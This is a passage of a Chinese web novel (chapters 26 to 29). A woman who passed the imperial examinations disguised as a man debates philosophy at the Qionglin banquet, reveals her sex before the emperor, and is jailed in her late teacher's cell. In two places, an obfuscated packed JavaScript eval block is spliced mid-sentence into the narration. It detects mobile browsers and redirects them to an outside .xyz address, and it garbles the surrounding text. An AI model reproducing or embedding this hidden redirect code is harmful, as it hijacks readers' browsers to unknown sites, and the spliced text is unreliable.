“哎呦喂我的卢老爷,都什么时候了,您还想这些!!赶紧收拾好了进宫,这单子我找人给您送去,包您和林老板满意。”
一群徽商急得直跺脚,简直是恨铁不成钢。
“好好好,我马上进宫就是,别推我啊!”
*
折腾了半天,这场闹剧的主角总算是找着了。
早在沈靳炳来寻卢点雪之前,他就去国子监取了朝服二梁冠和金花,见到昆玉霜后也就顺手交给她。
此时卢点雪也已穿戴完礼服,正琢磨着怎么簪金花。
昆玉霜在一旁静静地看着,想了想,还是上前搭了把手。
见卢点雪一副受宠若惊的模样,昆玉霜微微一笑,温柔地劝慰道:
“不打紧,还是这样簪着好看。只可惜锦衣夜行,无法同白天游街那般风光,着实是委屈你了。”
凑近了些,她才发现这孩子身形瘦削。
再结合先前的对话,想来是贫苦人家出身的,年岁还这般小,昆玉霜的心中更是对卢点雪生起了不少怜惜之情。
恰巧卢点雪正对着旁边的白马发愣。
她面上装得是一副冷峻的神情,然而那僵硬的肢体却是暴露了她的无措。
这些昆玉霜都看在眼里,干脆好人做到底,直接询问道,
“方才听闻传胪宴后你没有骑马游街,可是以前没骑过马?要是不会,我来为你牵马吧。”
“有劳将军了。”
卢点雪的头点得就跟小鸡啄米似的,只是那脸似乎越烧越红,不过本人却浑然不知。
昆玉霜只当是状元郎脸皮子薄,被戳穿了心事不太好意思,哪里想得到卢点雪那是见了心中的崇拜之人,激动的。
当然,也有一部分不好意思的成分在。
在昆玉霜的教导下,卢点雪很快便学会翻身上马,在昆玉霜的引导下朝着宫中骑去。
一路上,昆玉霜都在耐心地指导她进宫的礼仪,顺带着说了些朝廷各派的情况。
“之后到宫中论辩你可莫要害怕。皇上是个好人,又极为喜爱你的文章,肯定是不会难为你的。若是碰上程阁老和小阁老不服气,你也可以向魏尚书求助,他与你都出自徽州,想来也是会顾着点情分的。
“再说还有我的夫婿,好歹也管着翰林院,就算那群人再不服气你的状元名头,事后授职他也能给你安排个不错的差事,为你遮风挡雨一阵子。琼林宴上你只顾大胆直抒胸臆便是,千万别被拘束住。”
“多谢昆将军提点。此次能得将军护送,实乃我之幸事。”
卢点雪心生感慨,说的话都有些磕磕巴巴的,
“我,我也是自小就很钦佩将军,佩服将军能以女子的身份行军打仗,力挽狂澜,令世间男子都叹服不已。”
“是啊,确实很不容易。”
昆玉霜听后,微微一笑,想起了自己的过往,不由开口向卢点雪鼓励道,
“但有一点我一直铭记于心,那就是永远不要胆怯。不要畏怯抛头露面,也不要畏怯自己说错话做错事会怎样。男子做得得,女子又如何做不得!”
“尤其是在看不起你的那些人面前,那可万万不能露怯。但凡露出一丝破绽,那些人定会借此千百倍地攻讦你,逼迫你,自此你就会被他们一直踩在脚底,再无翻身之日。”
“在下谨受教。”
卢点雪郑重感谢道。
“对了,我有一事真的好奇很久了,”
憋了这么久,昆玉霜终于忍不住开口询问,
“你是真的一直在林家茶楼做工吗?林老板心也真大,手底下出了个状元郎都不知情,出榜了他还把人指挥得团团转,好歹得让你带俸禄休假个几日吧?”
“不,其实是我没跟他提过中进士的事儿……”卢点雪弱弱道,“这段时日茶楼里很忙,林老板排班又排得太满,所有人每天都忙得晕头转向,哪想得起来谁是谁……”
“嘶,那可真是好生可恶的一大奸商啊——”
27. 第 27 章
卢点雪这辈子都未曾想过,去赴琼林宴的路上,竟是由自己从小到大,最为钦佩的人物为她领路。
路上百姓们的欢呼声,远处天际燃放的爆竹声,此时都在卢点雪的心中逐渐淡去。
这或许是她唯一一次,亦或是最后一次能见到昆将军的机会。
卢点雪很想向昆玉霜道明自己的女子身份,告诉将军她做到了。
可是她不能说出来。
但凡她将自己女扮男装的事透露半点给昆将军,一旦事发,将军恐怕也会牵连受罪。
她知道自己的下场会是什么。
为此,这个想法连最为亲近的月生她都不敢告诉,只能日日藏之于心中,付诸于书籍。
但既已做出这个决定,她就绝对不会后悔。
卢点雪深吸了一口气。
眼前,正是那座巍峨的午门。
作为状元,今日她可以从午门的正门进出,故而昆玉霜就在此处停下,目送着卢点雪离去。
剩下的路,纵算是昆将军也无法再陪同她了。
不过这对卢点雪来说,并不会觉得十分惋惜。
毕竟她要走的那条路,注定只能她一人踽踽独行,形影相吊。
朝为田舍郎,暮登天子堂。【1】
卢点雪甫一出场,在场众人无不将目光汇聚到这位年轻的状元身上,不由啧啧赞叹。
傅谊更是瞪大了眼睛,完全不敢相信此人如今才弱冠之年。
只比他大个几岁却已连中三元,他自个儿到现在连四书五经都没读完!
傅谊已经不敢去看舅父岳渊峙和程阁老的神情。
想都不用想,肯定是恨铁不成钢。
哎,他确实是没本事学这些。但现如今,不是有个现成的明白人站在他眼前吗!
这位卢状元才华出众,也颇有谋略,在翰林院当个修撰磨砺几年,日后八成会入内阁。
更何况傅谊对卢点雪策论的观点都很赞同,不愁日后没有自己人帮他治国。
是以傅谊怀着极大的热情,让赵除佞给卢点雪亲自斟一杯酒。
卢点雪诚惶诚恐地接过,坐下用餐。
吃得差不多了,卢点雪见萧锵萧首辅举着酒盏,笑眯眯地向她示意:
“御笔亲点状元郎,老夫也来向魁星道喜了。”
“晚生见过阁老。”
不必多说,此位就是何住先生的同门师兄。
卢点雪进京前,那素来事不关己高高挂起的云降心,竟特意找她交待了些话。
其中,不少就是关于崇正党这位首辅和其门生,礼部尚书季无忧的消息。
先前她觉得云降心此人太过冷心冷情,凡事利益至上见机行事,与先太傅的性子截然不同,便未与他走得太近。
所以,她也从未想过这人会主动来找自己。
当然,云降心是无利不起早,上来开门见山,直接就说需要她中进士授官后,帮忙做件事。
“我不一定能走到那一步,”卢点雪直言相告,“但毕竟何住先生对我恩重如山,你若有什么吩咐,我定会尽力去做。”
“无需如此,”
云降心垂下眼眸,嘴角噙着一抹高深莫测的笑意,
“我知道你想做什么,但我不会反对,相反我还会助你一臂之力,以免你落得个独木难支的处境。你若真能过得了那一关,此事于你而言不过是随手之劳罢了。”
待卢点雪深思熟虑点头答应后,云降心这才说了许多有关当今圣上和内阁阁老对文章的喜好。
陛下临危受命,叛逆之心极重,刚即位就被崇正党和阉党这么折腾,怕是早有变法的想法。
届时她可适当地根据她老师李卓吾的心学学说来制策论,兼以王学和佛法入理。
自然,各位评卷官的口味也需兼顾。
首辅萧锵心向实学,吏部尚书魏与归师从浙东学派,都讲究一个经世致用。
程国泰崇程朱理学,岳渊峙和季无忧都崇阳明心学,但前者属泰州学派,后者属江右学派,这就要看她卢点雪如何平衡文章各点了。
所以卢点雪在殿试作文章之时,就已预料到自己这篇策论定会引得朝野纷议。
待萧锵向卢点雪敬完酒,朝着坐在高位的傅谊深深行礼后,说了一大段开场致辞:
“臣闻古今帝王之治天下,莫不以敬天勤民为务,以明伦厚俗为急,故汲汲于求贤者,凡以为此也。”
“臣伏读制策曰,所谓尧舜之克圣,不有贤大良之助,岂二圣独劳耶?夫以古之元首股肱真是一体,上下相资,不若兹时之大不同者。”
“太祖高皇帝创业垂统,立教万世,尝谕廷臣曰,天下苦无难治第,君臣同心一德一虑,则庶民万事鲜有不康。又曰居官者大小不同,各尽其职而已。”
“上自今欲与公卿百执共矢,乃心有俞咈无嫌猜,有异同无甸域,有好恶无偏陂,有实政无虚谈。究使上锡福,下保极,以庶几于荡平正直之道,其何修而可多士尚扬确之。”【2】
他重新复述了一遍“君臣一心,实心实政”的试题,也算起了个头,意味着关于卢状元那篇制策的论辩,可以就此开始了。
“老夫阅卷时,见卢生这篇策论言之凿凿,字字珠玑,文辞庄雅委婉,析理精当,当真是一篇佳作。尤其是‘道不虚谈,学务实效’一句,内有乾坤精妙无比,可否请卢生细细说来?”【3】
似是对卢点雪十分感兴趣,素来不喜形于色的萧锵竟难得开口,同一个小辈和颜悦色地论起道来。
“说来惭愧,”卢点雪答道,“此句正是晚生在阅览恩师手札时无意翻阅到的。学道贵虚,任重贵实。虚而实,实而虚,真虚真实,真实真虚。此唯真人能有之,非真人则不能有也。”【4】
“‘虚’字一字,其义可为虚假,亦可为虚怀若谷。绝假存真,以童心待之,自然就可虚心向善。心虚取广,而后可以精一之学,实行实政。且弟子谨遵先生之教诲,及院中各位师长的规劝,四要二惑九益九损,亦不敢忘怀。”【5】
“原来是我崇正书院出来的学子,当真是后生可畏!曾子曰,以文会友,言讲也。以友辅仁,言习也。朋友讲习,互相滋滋,生理津津。君子观其象而以朋友讲习,讲是研穷讨论功夫,习是持循佩服功夫。”【6】
萧锵赞许地点了点头,对卢点雪的回答甚是满意。
他正欲问问她师从何方,旁边一位袁姓官员便迫不及待地附议道:
“卢生所谓童心真人一说,与我公安派的宗旨不谋而合啊!独抒性灵,不拘格套。能为心师,不师于心。大概情至之语自能感人,是谓真诗,可传也。”【7】
真心、性灵,能为心师,不师于心,这不跟《涅槃经》中‘愿作心师,不师于心’的意思差不多吗?
傅谊全神贯注地听着底下群臣们的谈文论道,突然狐疑道,私底下悄悄嘀咕着。
果不其然,那位袁姓官员又接着狂热地问道:
“我尝学禅于李龙湖,读书论诗,横说竖说,心眼明而胆力放,于是乃昌言排击,大放厥词。”
“先前他就与我论过宗杲禅师与张九成议‘格物’的公案,令我受益匪浅,方知格物与物格之真谛。格物物格者,犹谚云我要打他反被他打也。今人尽一生心思欲穷他,而反被他穷倒,岂非物格邪?此案卢生可曾听问过?”【8】
“《五灯会元》中的杨岐公案?”卢点雪略微思索了一下,回道,
“大慧宗杲提议‘看话禅’‘参活句’,不必纠结于话头内容,借此摆脱分别心,回到人的本性上。晚生也以为,真正的解脱在于自心,至于如何降服其心,还需内外兼修。”
她话音刚落,便听到一个怒气冲冲的声音传来:
“袁主事!这里论的是殿试策题,你却总以禅学乱道,意欲何为?”
程国泰很是不满。
他本就十分反对点点卢点雪为状元。
此人的策论虽说也写了不少治国之策,他也颇为欣赏,但这不妨碍他觉得此卷部分言辞,着实是在向释氏五宗附会。
更何况此人的一部分提议太过惊世骇俗,他万万不敢苟同,是以出言制止。
“简直是胡闹!格物岂能做如此解释?!格,至也。物,犹事也。穷至事物之理,欲其极处无不到也。万事万物皆有理,唯有广泛格物,才能感知到理的存在。若是只从内心探求,那人的所作所为何要受天理的规范?如若都这般行事,世间岂不都乱了套!”【9】
“程阁老消消气,今晚只是同一小辈谈文论道,何须如此动怒。再说,袁公与卢生所言的向内探求,亦是心学的法子。守仁格竹的例子,不也正是说明朱子的格物致知并不是唯一途径?”
眼见程国泰又要一点就着,岳渊峙赶紧站出来打圆场。
同时,季无忧也颇为赞许地附和道,
“心为天地万物之主,治学即为迁善改过,所谓‘学问之道无也,去其不善,以归于善’。君臣一心,实心实政,讲究的便是一个心字,若是说些修心之法也无可厚非。【10】
阳明先生就曾指出朱子格物论之弊病,析‘心’与‘理’而为二。格物说是无内外,其实全靠外来闻见以填补其灵明者也。而卢生之文自心处着手,由虚到实,既注重心中良知的探寻,又注重确切实行,说是已达到知行合一的境界也不为过。”【11】
“哼,不跟你们这些搞阳明心学的讲道理,儒释不分!”
程国泰气得摆了摆手,暂且退出了这场论辩。
“优游与清絜的意思我明白,可万事万物只流诸于心之上,也未必就是一件好事。”
一直远远观望着的魏与归也终于开口出声。
他望了眼听得入了迷的傅谊,还有一直神色自若的卢点雪,眼中流露出些许欣赏之意,随后沉声道
“释氏之明心见性,与吾儒之‘尽心知性’,相似而实不同。盖虛灵知觉,心之妙也。精微纯一,性之真也。释氏之学,大抵有见于心,无见于性。”【12】
“而阳明心学取自禅宗,如若有人将心学学说仅仅视为一种方法,施用于孔孟教条之前,未信先横便极易发生。而依王畿之见,良知已成为行事的目的,以意念拟成理的主实,只向内探寻,无法见诸于行动。此亦为王学末流的弊病,人只讲身心性命,不讲救世志向。”
“是的,故恩师在世时,就尝与予谈论过这个问题。当是时,先生携晚生过金山,赏月色,啸而咏于湖居士之《水调歌头金山观月》,问余有何感悟。余答曰:澄怀观道,静照忘求,当如是也。”
“然先生闻此,笑而不语。而后细细问究,所谓澄怀观道,静照忘求,何也?是乃默作澄心,体认天理,融自身于景物中?亦或是心实有所主,吾心即为宇宙,万事万物皆由心力所化?”
“尔时余百思不得其解,后方知先生之深意。盖其实无一事,万变俱在人。大学之道,在明明德。如何明德?在亲民,在止于至善,非独善其身。”【13】
“故而在策论中,晚生也是如是写道,臣闻人君之治天下也,必按攘兼举而后可以成天下之治,必明断并行而后可以收天下之实功。语其政之大者,则惟曰务本以重农,治兵以修备二者而已。何也?”
“盖国以民为本,而农者民之命也,兵者又民之卫也。夫百姓日用即为道,穿衣吃饭即是人伦物理。盖人君而诚使民之得养也,民获之安也,尚何化之不可兴,而理之不可致哉!”【14】
“孟子曰:他人有心,予忖度之。故必君以实心主之,而委任以责成者,恒出之以左右替相之诚。臣以实心效之,而分猷以宣力者,每竭之以左右替相之诚。然后君臣道合而百度贞,上下志同而万化广,中国可安,四夷可攘,内可顺治,外可威严,而久安长治之功将致之而无难矣。”
“好,好一个久安长治之功将致之而无难矣!你在策论中提及的变法之策,部分内容虽不甚成熟,但此番对答却是绝妙!”
对着卢点雪这般对策,连魏与归都不禁抚掌而笑。
除却程阁老尚且有些不服以外,场内诸人无不赞叹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505105|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
作为主考官的季无忧,自然也是极为中意此番回答。
他微笑着向卢点雪点头致意,而后拱手向坐在高位上的傅谊行礼,总结道:
“得此良策,实乃陛下之幸甚!学问之道,以各人自用得着者为真。同声相应,同气相求,本无可厚非。然经此论辩,有一偏之见,有相反之论,学者于其不同处,正宜着眼理会,所谓一本而万殊也。”
“而物各有性,水至淡,盐得味。水加水仍是水,盐加盐仍是盐。酸甜苦辣咸,五味调和,共存相生,百味纷呈。物如此,事犹是,人亦然。以水济水,岂是学问!”【15】
“是也,所以卢生可曾有师传?方才听你谈及到恩师,此人是否也是心学中人?”
傅谊忍不住发问。
卢点雪所说的童心说与“穿衣吃饭即是人伦物理”的观点,从前他只在一人的讲学中听过,那便是……
果然,卢点雪接下来的话,也证实了傅谊的猜想:
“回陛下,晚生师从泰州学派李卓吾,正是那位狂僧李执。”
卢点雪此言一出,不亚于平地一声雷。
场中有如袁主事那般从前与李执交往过,如今见故友之门生欣喜若狂之人。
但更多的还是震惊于卢点雪胆大包天,竟敢如此堂而皇之地承认自己是那惑世诬民之人的学生。
傅谊亦是十分震惊。
但他丝毫没有考虑到方才群臣所顾虑到的那些事,毕竟他本来也很惋惜李卓吾的逝去。
是以在众目睽睽之下,傅谊下了龙椅,走到卢点雪身边。
他本欲亲自为她镇镇场子,定定人心,谁料卢点雪却是扑通一声跪了下来,行稽首礼。
“晚生不才,幸得陛下垂怜。然晚生有一事欺瞒陛下已久,实在是万死难逃其咎!”
“什么事,你说出来便不算欺君之罪了。我朕既已点你为状元,你便是天子门生,我朕定会护着你的。”
傅谊不以为然。
“晚生实为女子,先前曾读于温陵先生所建的女子学堂。先生在世时就著有《答以女人学道为见短书》一篇。他也曾不止一次说过,人有男女之分,但见识长短无分男女。而晚生此次冒死考科举,就是为证实先生之言确有此理,绝非妖言惑众!”
“什么?!”
这下连傅谊都愣住了,眼睁睁地看着卢点雪摘下头冠,解了发髻,以此来证实自己的女子身份。
一波未平一波又起,当即有人就坐不住了。
赵除佞率先反应过来,疾言厉色训斥卢点雪胆大包天,竟敢女扮男装欺瞒天子!
也有不少官员跟着附和起来,当即向傅谊请示要重罚此人。
一时间,先前对卢点雪的赞誉纷纷变成了唾骂。
“罪女卢氏,你可知罪?!”
“民女只知有欺上瞒下之罪,其余一概不知。”
似是早已预料到过此番遭遇,纵算面对这般难堪的情景,卢点雪仍是一副无悲无喜的样子。
她低着头跪在御前,眼中却是异常的坚定。
“哈,这还不知!这世间岂有女子参加科考的道理?你眼中还有没有王法!简直是无父无君,弃国弃家!”
赵除佞气急,口不择言骂道。
尤其是最后一句,连程国泰都觉着有些过了。
然而卢点雪也不回话,就跪在那里,一声不吭。
场内的情势变得愈发严峻。
赵除佞坚持要将卢点雪打入诏狱仔细审问,言其背后定有指使者。
不过他话音刚落,就有大理寺卿宋骥立即为她辩护。说她罪不至此,把人拘在大理寺内就行,何必打入诏狱!
耳边赵除佞和百官又吵了起来,傅谊听得头都快炸了。
他左思右想,觉得还是诏狱更稳妥些。
毕竟就在自己眼皮子底下,能让锦衣卫盯着些,以防有心之人害她。
再者,他虽不知卢点雪究竟是如何瞒过胥吏的搜查,以女子之身进的考场,但他也意识到此事万一彻查到底,朝中肯定又要掀起一波腥风血雨。
他如今已经够烦了,更何况他也不想处置卢点雪。
傅谊本就认为卢点雪没什么错,但是别人可不一定。
若是把人放在大理寺内,保不准那些老顽固又要上疏,觉得罚得轻了,连带着认为宋骥也徇私舞弊就不好了。
好不容易逮着个合他心意的臣子,不如就把她先放在诏狱里避避风头,等风头过了再放出来。
只是如此一来,她的名声估计可就……
无可奈何之下,傅谊硬着头皮让沈靳炳把她提到诏狱里再说。
趁着沈靳炳带着北镇抚司的人过来之际,傅谊压下嗓音,悄悄地对卢点雪交待了几句,让她勿要担忧,他会处理好所有事情。
在众人的唏嘘与唾弃声中,一场本为庆祝新科进士的琼林宴,竟以如此狼狈的结局收场。
傅谊仍有些不甘心,望着卢点雪被带走的背影,忍不住发问:
“你当真没有什么别的话想再说了?”
他的语气有不忍,也有无力,但更多的还是困惑。
他不知,为何有人会在功成名就之际,甘愿抛弃即将得到的一切,居然只是为证实一件无足轻重的小事。
同时他也十分不解,此人寒窗苦读数十年,所求的究竟为何物?
闻言,卢点雪缓缓地转过头来,定定地望着傅谊。
她目光灼灼,似有千钧之力。
“有,罪民谢过陛下。”
卢点雪张了张嘴,请锦衣卫先停一下,她想向陛下回个话。
得了傅谊的允许,锦衣卫迅速放下卢点雪。
只见她郑重地理了理衣裳,复又重新跪下,三跪九叩:
“厂公说的极是,罪民确实无父无母,亦无兄弟。只是最后指责罪民的那句‘无父无君,弃国弃家’,罪名不敢苟同,欲稍作解释,不知陛下可否恩准?”
“准了。”
“无牵无挂,卫国卫民。”
28. 第 28 章
北镇抚司,诏狱。
沈靳炳瞥了眼身后被押着的卢点雪,心情颇为复杂。
没想到两个时辰前,他亲自去寻的魁星,转眼间已是阶下囚。
关键是他和昆将军,两个武人竟都看走了眼,完全没发现此人是女扮男装的。
方才此人自爆身份后,琼林宴上就炸开了锅。
有不少人吵着要追究各级官员责任,没准明早就会有不怕死的御史弹劾他“失察”。
沈靳炳的眉头不自觉地皱了皱。
被御史弹劾不要紧,毕竟失察只是个小罪名,不痛不痒。
但现在最重要的问题是,皇爷和督主的态度截然不同。
卢点雪,皇爷钦点的状元,再依据方才皇上在宴上对她的维护,人肯定是要保着的。
但督主的意思怕是想通过卢点雪审出暗中襄助她的幕后之人,借此给予崇正党致命一击。
此人出自金陵崇正书院,坚持推举她做状元是礼部尚书季无忧。而他又是会试的主考官,这其中大有文章可作。
乡试就算了,毕竟不是天子脚下发生的事,何况时间也过去得久了,查起来相当麻烦。
但会试考棚中,能让她悄无声息地瞒过搜检官和监临官的层层检查与巡视,非朝中大员不可行之。
就算真的是旁人没有看出她的女子身份,督主也定不会轻易放弃这一契机。
沈靳炳正烦心着,身后还有两个没眼色的厂卫殷勤地凑上来问他罪人该如何处置。
是好生打着问,还是好生著实打着问?【1】
“你们打吧,把人打残了,自己去跟皇爷和崇正党那群伪君子们交待。”
沈靳炳凉飕飕地说道,连一个眼神都懒得给。
那俩厂卫被沈靳炳这么一说,立刻改口问道要把人关哪里。
沈靳炳略作思索,似是想起什么,径直指向一间牢房。
厂卫不明所以却又不敢多问,只得照做。
走之前,沈靳炳回头顿了顿,再一次细细打量着卢点雪。
她倒是镇定,如今都已身陷囹圄,也未曾见她脸上流露出过半点慌乱。
沈靳炳不免都有些佩服她了。
一日间经历了这般大起大落、天翻地覆的变化,仍还无动于衷,是个泰山崩于前而色不变的狠人。
她这个反应,绝不是临时起意。
明明可以以男子身份继续进行下去,为何偏偏在论辩后,众人情绪激昂之际主动暴露?
就凭此人以假乱真的本事,做了官后将其女儿身隐瞒个一辈子怕也不是什么难事。
只是时间愈久,暴露的风险就愈大。
沈靳炳心中倏地就升起了几分兴致。
他有些好奇,此人蓄谋了这么久,不惜拿自己的性命作赌,真的只是为替李卓吾正名?
于是他唤来几个狱卒,低声吩咐了几句,这才出了诏狱。
直至沈靳炳的身影完全消失不见,卢点雪心中的那根紧绷着的弦才彻底松懈下来。
她如释重负地吐出一口气。
方才沈靳炳跟狱卒交待的话她听不见,但她悄悄观察了一下他们的神色,再结合先前沈靳炳说过的话,应当是没有难为她的意思。
出乎她意料的是,卢点雪完全没想到大理寺卿宋骥会出面保她。
琼林宴论道时这位大人基本就没说过什么,可为何最后突然就站出来为她发话?
还有礼部尚书季无忧,他对自己可谓是和袁主时事一样热情。
然而在她自爆女子身份后,她可是清楚地看到这位尚书大人看自己的眼神霎时就变了。
虽然他最后也仍然为在自己辩驳,但底气明显弱了几分。
卢点雪本就觉得季尚书对她的态度实在是好得出奇。
她跟他根本就毫无瓜葛,先生也未曾说过他有这么一个故友。
想到这卢点雪的心猛地一沉。
她记得云降心曾与她说过,礼部尚书季无忧与应天府尹甘清交情匪浅。若是自己真落到个孤立无援的境地,可以借甘府尹的名头向季尚书求助。
若是她没记错,离开金陵前月生说定能让自己的女子身份不被察觉,语气又是前所未有的肯定,不会指的就是……
该死!
她就是怕身份暴露后牵连到月生,这才不惜与之闹上一顿,没想到如今还是走到这一步。
她本就是抱着必死的决心来赴琼林宴的,自身都难保如今又牵扯上这么多人,卢点雪简直不知该如何是好。
劫后余生的那丝丝庆幸与喜悦还尚未蔓延开来,便有更为沉重的情绪铺天盖地席卷而来。
可是,卢点雪也不想这么早就认命。
所以会试前的那几个月,她抓紧一切时机研究八股参与文社混名声,为的就是赶在秋后问斩前多挣得几个愿意为她说话的人。
她不畏死,但她不愿死得岌岌无名。
以至于后人谈起她,只会对李卓吾仅存的女学生,那个如昙花一现般短暂的女状元唏嘘不已。
若有希望,就算只有万分之一的可能,她也会坚定不移地继续践行她的抱负。
太上有立德,其次有立功,其次有立言,虽久不废,此之谓三不朽。【2】
她的毕生所愿正是如此。
或者还可以说得再具体一些,她希望天下人能对女子多些宽容。
女子亦可建功立业。
先生生前做过的,她能做到;先生生前未曾做到的,她亦能做到。
故而先生深恶痛绝的科考,她义无反顾地去了。
她不是不知道八股取士的流弊,只是现实如此逼仄,她不得不学会变通。
就如重岩叠嶂的黄山,几千年来它一直盘踞在那里,生生断了山中居民出去的路。
可纵算是大山如何阻拦,亦有溪水欢快地从其身上淌过,最终汇聚到山外,形成延绵不绝的江河。
她既已走出山沟,那便定要登上凌云之颠,偏要去搅弄那诡谲云海,腾云驾雾。
她要叫世人相信,龙非生而即是龙,也可是黄河三尺鲤,跳水跃龙门!
既有一线生机,她就绝不会放弃。
琼林宴上主动说出自己的身份,是她早就计划好的一环。
云降心看出来了,但并未加以阻拦,相反还助了她一臂之力。
他承诺只要小皇帝不想杀她,就能尽量助自己早日脱身。
她不是不知道他打的什么算盘。
何住先生和萧首辅都老了,不一定能管得住手下人。
何住先生虽身在寺中,但心中仍放不下朝局。
然而其门生故人都被萧首辅清扫得差不多了,不好再轻举妄动,只能将希望寄托在新人身上。
恰好她卢点雪与他们主张一致、观念相符,还能打入朝中崇正党内部传递消息,是个合适的人选。
故而她选择在琼林宴,众人对她最为满意的时候上坦白身份。
一是打所有人个措手不及,让崇正党下意识地维护她这个崇正书院的学生;二是她的女儿身瞒得愈久,日后被人戳穿的可能就愈大,罪名也会愈重,还不如在此时一吐为快,省得日后忧思。
卢点雪闭上眼,尽量平复住自己那颗慌乱的心,脑中开始迅速地分析起当前的局势。
未想远处却是传来一阵脚步声。
她猛地一睁眼,只见一个瘦瘦高高的少年朝她的牢房走来。
卢点雪微微眯了眯眼。
诏狱中灯光昏暗,她瞧不真切,直至那人走得近了些,她才恍然发觉此人的眉眼与大理寺卿有些相似。
只不过其眼下的黑眼圈着实太过引人注目,兴许是忙碌了一晚的缘故吧。
“在下是大理寺司直宋徽猷,表字穆安,家父乃大理寺卿宋骥,特奉皇上之命前来问候阁下。”
“徽猷,穆安?”
闻言卢点雪忍不住发问,“莫非是出自《晋书虞喜传》?臣闻二八举而四门穆,十乱用而天下安,徽猷克阐,有自来矣。”
“原是这样?我自己都不甚清楚,只知道父亲取的名是出自《诗经》,未曾想过表字还有这层含义,不愧是状元郎学富五车——”
宋徽猷话说了一半,卡壳了。
实在是他说顺嘴了,忘记对面是位女子。用状元郎来称呼她,不妥。
万分尴尬之下,宋徽猷只得讪讪闭嘴,诚恳道歉:
“对不住,卢状元,是我嘴瓢冒犯了。”
“无妨,君子有徽猷,宋司直无需在意这些无关紧要的称谓。”【3】
卢点雪抿嘴一笑,低下头,礼貌性地装作没看到对方局促的神色。
“陛下已暗中交待过北镇抚司,坚决不让东厂那些糟粕玩意儿用到你身上,你莫要害怕。待皇上平了百官的纷争,定会早
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505106|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日放你出来做官。”
“多谢宋司直和陛下美意,但罪臣自知自己犯了欺天之罪,不敢奢望全身而退。”
“你犯了什么罪?大琝律上可有写?”宋徽猷奇怪道,“大琝律只说科举舞弊要施杖刑,流三千里。你既没有那便是无罪。大理寺素来依法行事,不会给人安上些莫须有的罪名。”
“是啊,大明律卷十一,礼律、祭祀、祭享篇还明文规定,若有官及军民之家,纵令妻女于寺观神庙烧香者,笞四十。然当今士人皆以尚佛为风,其妻女入寺拜佛者多如过江之鲫。这种情况,宋司直以为何?”
“呃,这个嘛,有些例法太过陈旧,或许是时候该与时俱进。”
没想到卢点雪会这么反问他,宋徽猷被问得一愣,结结巴巴道。
但卢点雪根本没有顺着台阶下的意思,反倒有些不依不饶,
“那宋司直当以为该如何与时俱进为好?可纵算是修改了书中的铁律,人们心中的陈规也绝非一时就可更改。”
“就如女子能否参加科考一事,大琝律中就未有明文规定,但人人心中皆默认不可。若是真想跨出那一步,宋司直可有觉悟?”
终于听懂了卢点雪的言外之意,宋徽猷连忙正了正神色,郑重道:
“所以陛下托我给您带一句话,不知你愿不愿意听?”
“宋司直请讲。”
“天变不足惧,人言不足恤,祖宗之法不足守。你若愿为王安石,他便去做那宋神宗。”【4】
“罪民多谢陛下抬爱!”
“你,当真决定好了?”
“如曰今日当一切不事事,守前所为而已,则非某之所敢知。”【5】
卢点雪郑重回复道。
待拜别宋徽猷,卢点雪正打算稍作歇息。
不料人又忽然折返回来,目光对着这间牢房打转。
“宋司直这是怎么了?诏狱不可久留,还请阁下早日回去。”
卢点雪不理解宋徽猷为何会有如此举措,不免心生困惑,出声提醒道。
“好的好的,我马上就走,不叨扰你了。只是这间牢房,不正是关过你老师的吗?”
话说着,宋徽猷的脸色愈发古怪,衬得眼下的黑眼圈愈发黑了几分。
“嘶,你是不是惹上那阎王爷沈指挥使了?”
“此话何意?”
“毕竟自打你师傅从狱卒处夺过剃刀,自刎于此,血溅砖石擦都擦不掉。关在这里的犯人见之,亦十分畏惧,就算是被折磨至死也不愿住在此处。久而久之,北镇抚司的人都会主动避开这间牢房,省得犯人再闹腾。”
闻言,卢点雪面色一变。
她双手一把攀上栏杆,眼中满是迫切,全无先前半点镇定的模样:
“那老师生前可曾留下过什么遗言?他被槛送京师的时候我想尽了一切办法打听消息却,可所有人都爱莫能助。”
“我倒是知道一些。”
宋徽猷沉声道:“皇上还是陶王世子之时就极为喜爱李先生的讲学,故而特意和先太子一起打点了这里的狱卒。”
“线人来报,三月十五日,一狱卒为李卓吾剃头。公忽而暴起,夺剃刀,割其喉,鲜血淋漓。”
“尔时狱卒问,和尚痛否?”
“公不能言,以指沾血,书于狱卒掌中曰:不痛。”
“又问,和尚为何自寻短见?”
“公复书:七十老翁何所求!”【6】
“……”
“向风刎颈送公子,七十老翁何所求,是王摩诘《夷门歌》里的这二句,说的是信陵君窃符救赵一事。士为知己者死,先生想作侯嬴,可世上已无赏识他的信陵君了。”
良久,卢点雪才缓过神来,深深喟叹道。
“你,你可还好……?”
宋徽猷小心问道。
“无碍,多谢宋评事。大恩大德,没齿难忘。”
卢点雪的情绪明显消沉了下去,这些宋徽猷都看在眼里。
他很自觉地离开此地,善意地为卢点雪留下一个独处的空间。
待宋徽猷走后,卢点雪急急转过身。
先前刚进来时,周遭太过晦暗她看不清楚。
如今凑近了看,才发现石壁一角,俨然有一大片发黑的暗沉血渍。
卢点雪重重跪下,顿首而泣:
“夫子大人台下,学生卢点雪三拜叩上!”
29. 第 29 章
不必多说,琼林宴后的第二日,早朝上少不了对卢点雪一事的争论。
傅谊本已做好了充足的心理准备,正欲与反对者大干一场。
